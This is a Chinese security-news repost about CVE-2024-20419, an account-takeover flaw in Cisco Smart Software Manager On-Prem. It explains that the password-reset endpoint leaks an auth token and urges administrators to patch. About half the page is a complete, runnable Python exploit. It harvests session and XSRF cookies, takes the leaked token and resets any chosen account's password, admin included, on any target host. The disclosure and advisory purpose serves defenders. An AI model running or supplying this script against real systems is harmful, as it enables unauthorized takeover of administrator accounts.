【PoC】(CVE-2024-20419) 针对思科 Cisco SSM On-Prem 帐户接管漏洞的 PoC发布

admin 2024年8月12日14:48:01评论17 views字数 3639阅读12分7秒阅读模式

【PoC】(CVE-2024-20419) 针对思科 Cisco SSM On-Prem 帐户接管漏洞的 PoC发布

图片来源:Mohammed Adel

安全研究员 Mohammed Adel 公开披露了一个严重漏洞,编号为CVE-2024-20419,并发表了详细的说明以及概念验证 (PoC) 漏洞代码。此漏洞影响思科的智能软件管理器本地版 (SSM On-Prem),CVSS 评分最高为10,表明其极有可能被利用。

该漏洞源于 SSM On-Prem 身份验证系统的一个缺陷,允许未经身份验证的攻击者远程更改任何用户的密码(包括管理员帐户),而无需原始凭据。此安全漏洞使受影响的系统面临未经授权访问和潜在整个系统入侵的巨大风险。

CVE-2024-20419 的根本原因在于一次性密码 (OTP) 生成过程中对授权令牌的处理不当。具体来说,该漏洞位于/backend/reset_password/generate_code 端点,该端点负责为尝试重置密码的用户生成 OTP。

在正常运行中,此端点应生成并向用户发送 OTP,然后用户必须验证代码才能继续重置密码。然而,在易受攻击的 Cisco SSM On-Prem 版本中,应用程序错误地在对 OTP 生成请求的响应中包含了授权令牌 (auth_token)。此令牌是关键数据,仅在成功验证 OTP 后才应发出。

通过过早暴露 auth_token,应用程序无意中允许攻击者完全绕过 OTP 验证步骤。有了这个令牌,攻击者可以直接授权自己重置任何帐户(包括管理帐户)的密码,而无需知道或验证原始凭据。

Mohammed Adel 的文章包含PoC 漏洞的视觉演示,展示了利用 CVE-2024-20419 漏洞接管管理帐户的简易性。此漏洞代码的公开可用性大大提高了风险,因为它为攻击者提供了潜在利用未修补系统的蓝图。

虽然该漏洞被评为严重漏洞,但好消息是安全威胁监控平台 Shadowserver仅检测到40 多个暴露在互联网上的易受攻击系统实例。然而,随着漏洞代码现已公开,如果不及时应用补丁,被利用的风险预计会增加。

【PoC】(CVE-2024-20419) 针对思科 Cisco SSM On-Prem 帐户接管漏洞的 PoC发布

图片来源:
Shadowserver 基金会

思科迅速做出反应,针对所有受影响的 Cisco SSM On-Prem 版本发布了补丁。截至撰写本文时,尚无野外利用报告,但鉴于 PoC 所展示的利用难度,这种情况可能会迅速改变。

强烈建议管理员立即升级到 Cisco SSM On-Prem 的修补版本。此漏洞没有可用的解决方法,这意味着保护受影响系统的唯一方法是应用 Cisco 发布的官方补丁。

未能修补可能会导致严重后果,包括未经授权访问关键系统、数据泄露以及可能失去对整个网络环境的控制

PoC:

https://www.0xpolar.com/blog/CVE-2024-20419

# CVE-2024-20419
import requests, sys
from urllib.parse import unquote

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()

Domain = sys.argv[1] # Domain, https://0xpolar.com:8443
Username = sys.argv[2] # Username, by default its [admin]
password = "Polar@123456780"

print("[*] Cisco Smart Software Manager On-Prem")
print("[*] Account Takeover Exploit")
print("[*] Target: "+Domain)
print("[*] Username: "+Username)
print("\n")

print("[*] Getting Necessary Tokens..")
get_url = Domain+"/backend/settings/oauth_adfs?hostname=polar"

response = requests.get(get_url, verify=False)

def get_cookie_value(headers, cookie_name):
    cookies = headers.get('Set-Cookie', '').split(',')
    for cookie in cookies:
        if cookie_name in cookie:
            parts = cookie.split(';')
            for part in parts:
                if cookie_name in part:
                    return part.split('=')[1].strip()
    return None

set_cookie_headers = response.headers.get('Set-Cookie', '')

xsrf_token = get_cookie_value(response.headers, 'XSRF-TOKEN')
lic_engine_session = get_cookie_value(response.headers, '_lic_engine_session')

if xsrf_token:
    xsrf_token = unquote(xsrf_token)

if not lic_engine_session or not xsrf_token:
    print("Required cookies not found in the response.")
else:
    print("[+] lic_engine_session: "+lic_engine_session)
    print("[+] xsrf_token: "+xsrf_token)
    print("\n[*] Generating Auth Token")
    post_url = Domain+"/backend/reset_password/generate_code"

    headers = {
        'Accept': 'application/json',
        'Content-Type': 'application/json',
        'X-Xsrf-Token': xsrf_token,
        'Sec-Ch-Ua': '',
        'Sec-Ch-Ua-Mobile': '?0',
    }
    cookies = {
        '_lic_engine_session': lic_engine_session,
        'XSRF-TOKEN': xsrf_token,
    }

    payload = {
        'uid': Username
    }

    post_response = requests.post(post_url, headers=headers, cookies=cookies, json=payload, verify=False)

    post_response_json = post_response.json()
    auth_token = post_response_json.get('auth_token')

    if not auth_token:
        print("auth_token not found in the response.")
    else:
        print("[+] Auth Token: "+auth_token)
        print("\n[*] Setting Up a New Password")
        final_post_url = Domain+"/backend/reset_password"

        final_headers = {
            'Accept': 'application/json',
            'Content-Type': 'application/json',
            'X-Xsrf-Token': xsrf_token,
        }
        final_cookies = {
            '_lic_engine_session': lic_engine_session,
            'XSRF-TOKEN': xsrf_token,
        }

        final_payload = {
            'uid': Username,
            'auth_token': auth_token,
            'password': password,
            'password_confirmation': password,
            'common_name': ''
        }
    
        final_post_response = requests.post(final_post_url, headers=final_headers, cookies=final_cookies, json=final_payload, verify=False)
        response_text = final_post_response.text

        if "OK" in response_text:
            print("[+] Password Successfully Changed!")
            print("[+] Username: "+Username)
            print("[+] New Password: "+password)
        else:
            print("[!] Something Went Wrong")
            print(response_text)

原文始发于微信公众号(独眼情报):【PoC】(CVE-2024-20419) 针对思科 Cisco SSM On-Prem 帐户接管漏洞的 PoC发布

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月12日14:48:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PoC】(CVE-2024-20419) 针对思科 Cisco SSM On-Prem 帐户接管漏洞的 PoC发布http://cn-sec.com/archives/3058694.html

发表评论

匿名网友 填写信息